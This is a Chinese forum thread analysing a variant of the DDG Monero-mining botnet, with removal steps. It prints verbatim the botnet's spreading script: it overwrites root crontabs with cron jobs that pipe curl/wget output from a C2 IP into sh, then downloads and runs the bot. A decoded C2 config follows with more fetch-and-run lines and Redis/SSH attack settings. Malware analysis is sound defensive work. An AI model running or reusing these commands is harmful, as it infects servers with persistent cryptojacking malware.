吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 27102|回复: 59
收起左侧

[PC样本分析] DDG最新变种3014样本分析

  [复制链接]
Net丶S 发表于 2018-12-19 18:18
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Net丶S 于 2018-12-21 09:57 编辑

之前偶然发现了ddgs的全新版本3014,正好之前也没仔细分析过ddg挖矿家族,这次仔细分析一下,还有一些地方没太懂,大致写出来。
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。DDG最早出现在2017年,此后不断更新,从2017年10月开始,DDG先后发布了 201x, 202x, 301x 三个大的系列版本,内部分为6个小的版本,以及若干小版本内部的补丁修正。最新版通过SSH弱口令和redis未授权访问来传播,早期版本还利用过strust2和OrientOB作为攻击手段。
一、基本信息
目前存活的最新C2地址上可以看到全部的样本,如下:

ddg全家福

ddg全家福

查看最新的ddgs3014:
ddgs3014目录.png
主要传播脚本地址:http://13.113.240.221:8000/i.sh ,内容:
[Bash shell] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
 
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
 
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
 
ps auxf | grep -v grep | grep /tmp/ddgs.3014 || rm -rf /tmp/ddgs.3014
if [ ! -f "/tmp/ddgs.3014" ]; then
    wget -q http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -O /tmp/ddgs.3014
    curl -fsSL http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -o /tmp/ddgs.3014
fi
chmod +x /tmp/ddgs.3014 && /tmp/ddgs.3014
 
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

二、样本行为分析
从上文中i.sh代码中可以看到,i.sh主要做了三步,首先将下载自身并执行写入定时任务,然后下载主文件ddgs.3014并执行,最后杀掉其他常见挖矿进程。下面主要分析ddgs.3014。
IDA直接加载64位的样本文件ddgs.3014,样本是一个已经去除了符号的二进制文件,看不到函数名,这种情况下首先想办法还原函数名,目前还原函数名有两种方式,IDA的flair制作签名文件还原和使用Python脚本还原。根据以往的资料得知ddgs是go语言编写,如果不知道可以通过汇编特征比对判断编写语言,go语言有一个作者提供了一个函数名还原脚本,使用IDAPython脚本还原函数名,作者博客:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/
用这个脚本可以直接还原出部分函数名,这样我们就可以通过函数名来获取一些信息,直接搜索找到main_main函数,同时还发现几个可疑函数main_Newminerd,main_backdoor等:

还原函数名

还原函数名

这里先不管,直接看main函数首先检查了环境,通过后会调用makedaemon函数把自己变成守护进程:

守护进程.png

然后调用三个函数,分别执行新建守护进程,写入后门,进行挖矿。

新建守护进程

新建守护进程

main_NewGuard函数调用main__backdoor_background将控制者的SSHKey写入到了authorized_key文件中。

注入sshkey.png

main_NewMinerd函数,分为几个步骤,首先遍历自带IP列表中的地址,发送请求下载矿机到/tmp目录下,然后请求C2获取挖矿的配置信息,再启动挖矿,函数调用顺序为main_NewMinerd->main__minerd_background,background里面循环执行ddgs_cmd__XRun_Do,去下载并执行矿机。

矿机执行

矿机执行

然后会将内置的IP列表解码并初始化,得到内置C2列表,开始无限循环,这一部分前一半和矿机去请求C2获取挖矿地址钱包等信息的操作相同,都是向这个地址发送请求,解析返回的信息提取需要的,只是这部分会根据另外的信息执行传播:

首先请求http://ip:8000/slave:

循环主体.png

Main_pingpang函数中会向指定IP发起http请求,获取返回结果,请求地址为http://ip:8000/slave,如果返回200,则一并返回一段msgpack编码的信息。如下图:

发送请求:

请求包.png

发送请求的函数中拼接地址

拼接请求地址

拼接请求地址

请求的http流

返回的信息

返回的信息

如果找到了存活的C2并且收到了返回信息,就把msgpack编码的信息解码:

对返回的信息解码

对返回的信息解码

根据C2返回的信息,会执行矿机的更新,调用下一步攻击操作函数cmd_table,在ddgs_cmd__Table_Do函数中会根据解码后的信息,调用ddgs_cmd__AAredis_exploit函数和ddgs_cmd__AAssh_Test函数进一步攻击,传播,到这个位置是一整个循环,主进程会一直重复这个循环。

根据返回信息进行下一波操作

根据返回信息进行下一波操作

目前测试只会进行挖矿,没有扫描,说明C2没有下发扫描的信息。

msgpack编码的信息包含了挖矿的矿池,要下载的脚本,SSH弱口令和redis的利用范围等等信息,解码后的内容大致如下:

[XML] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
{Data:
    Config:
    Interval: "360s";
    Miner: [{
        Exe: "/tmp/qW3xT.4",
        Md5: 9dd8c5b1dc74286d81bc78372d9b7f27,
        Url: "/static/qW3xT.4"
    }],
    Cmd:[
        AAredis:{
            Id: 6093,
            Version: 3021,
            ShellUrl: "http://13.113.240.221:8000/i.sh"
            NThreads: 204,
            Duration: "240h”,
            IPDuration: "26h",
            GenLan,
            GenAAA,
            Timeout: "21m",
            Ports: (5379, 6379, 7379)
        },
        AAssh:{
            Id: 2253,
            Version: 3021,
            ShellUrl: "http://13.113.240.221:8000/i.sh",
            Duration: "240h”,
            IPDuration: "312h",
            GenLan,
            GenAAA,
            Timeout: "21m",
            Ports: (22, 2222)
        },
        Sh:[
            {
                Id: 398,
                Version: 255,
                Timeout "120s",
                Line: "curl -fsSL http://13.113.240.221:8000/static/disable.sh | sh"
            },{
                Id: 461,
                Version: 3013,
                Line: "curl -fsSL http://13.113.240.221:8000/i.sh | sh",
                Timeout: "120s",
                Killer: 132
            },{
                Id: 388,
                Version: 3014,
                Expr: "/tmp/ddgs.3013"
                Timeout: "360s"
            },{
                Id: 389,
                Version: 3014,
                Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+",
                Timeout: "360s"
            },{
                Id: 390,
                Version: 3014,
                Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg",
                Timeout: "360s"
            },{
                Id: 381,
                Version: 255,
                Expr: "/tmp/2t3ik.+"
            },{
                Id: 397,
                Version: 255,
                Expr: "/tmp/qW3xT.+",
                Timeout: "360s"
            }
        ]
    ],
    Signature:
        'B|\x88Q\xe1"E\x12;\x8f\xf0$\n\xca\xce\x8da\x89\xfcW\x1d\x9dm\x10\x01\xf9\x84H\x19\x03\xc70e\xa2[\x04\xd1G\xba\xabQ;\x9d\xc7\x01C\x17k\xad\x9a-\x9c\xae\x82\xd2\xb8\x80\x81}\xdd\xb9@\xf1\x7fE\xd6\xed\xab\xe9\x08\xb2-\x8c\xad\xfd\xe9 "R\xdd\x91Y\xffgf\xaf\xb6y0\x8c$\x18\xad\xb8\xcb\xe89.\x01\x16\xfb\xf0\x93\xfaBA>]h+F\xe4\xd9\x9c\xc1\x1cOI\xd7\x16P%\xec~\xee\xeb`\x8d\xbe\xf7\x07\x1dM\x85\x88\x8eT\xcc\xb8 x`\n\xc2\xf7X\xc1E\x8e)\x1c\x16n\xebw\x13\xef=;\x1f_Y7Zof(/\x19#\xf1\xbb\xb9s\x86;\x11zlC\xcbh\xfa\xb0\xca\xd6%\nQ\x948L\x8c_\xc8\xb5O6(Y\x99\xa2\xfb\x04\xef\xf2\xbe\x11\xc7w\xc7\x87\x0e\xc2\xe3\xbca)|\xea0 "\x8b\x96q\x14q\xe68\xb7\x1eo\x16\x02\xd4\xba\xfc\\\x8a\x95\x18\xb1\xc9>p=\xb0\xf6\xf6N\xa5\x87;\xde\xf4\xb4\x83'
    }

三、清除方法
  清除定时任务
  删除/var/spool/cron/crontabs/root文件内的
  */15 * * * * curl -fsSLhttp://13.113.240.221:8000/i.sh | sh
  删除/var/spool/cron/root文件内的
  */5 * * * * wget -q -O-http://165.225.157.157:8000/i.sh | sh
  删除/tmp/ddgs.3014 /tmp/qW3xT.4  /tmp/qW3xT.3  
  杀死 ddgs.3014  qW3xT.4进程


样本比较大,传不上来,可以直接去C2下载,目前还存活,后续失效了还想要的联系我吧

免费评分

参与人数 22吾爱币 +21 热心值 +19 收起 理由
youhen233 + 1 + 1 谢谢@Thanks!
莽撞人 + 1 + 1 热心回复!
a74307011 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
孤ii + 1 我很赞同!
Renn_Su + 1 + 1 用心讨论,共获提升!
desertcola + 1 + 1 热心回复!
bingtangbing + 1 + 1 谢谢@Thanks!
采花门门主 + 1 用心讨论,共获提升!
十载 + 1 + 1 我很赞同!
simplex + 1 + 1 用心讨论,共获提升!
1011406836 + 1 + 1 我很赞同!
上官逸风 + 1 + 1 谢谢@Thanks!
lg00518 + 1 + 1 我很赞同!
珍惜幸福涙 + 1 + 1 谢谢@Thanks!
Royal、Wh1t3zZ + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
jnez112358 + 1 + 1 谢谢@Thanks!
sunnylds7 + 1 + 1 热心回复!
siuhoapdou + 1 + 1 谢谢@Thanks!
ddOsenpai + 1 + 1 thank you sir
黑木棍 + 1 + 1 谢谢@Thanks!
609980218 + 1 用心讨论,共获提升!
adys + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2018-12-19 18:39
可以把图片加以说明贴一下,方法:https://www.52pojie.cn/misc.php? ... 29&messageid=36
 楼主| Net丶S 发表于 2018-12-20 09:34
Hmily 发表于 2018-12-19 18:39
可以把图片加以说明贴一下,方法:https://www.52pojie.cn/misc.php?mod=faq&action=faq&id=29&messageid=3 ...

晕 我昨天还没写完 网页没关出去了,自动发出来了
ChinaF 发表于 2018-12-19 21:40
read5 发表于 2018-12-19 22:10
感谢楼主分享,学习中
wangzhenuen 发表于 2018-12-20 09:17

感谢楼主分享
779705 发表于 2018-12-20 11:58
感谢分享。
xiaosir 发表于 2018-12-20 13:25
感谢楼主分享,学习中
Armin1990 发表于 2018-12-20 14:28
感谢楼主分享
X142346856x 发表于 2018-12-20 17:54
后悔进来了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 12:36

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表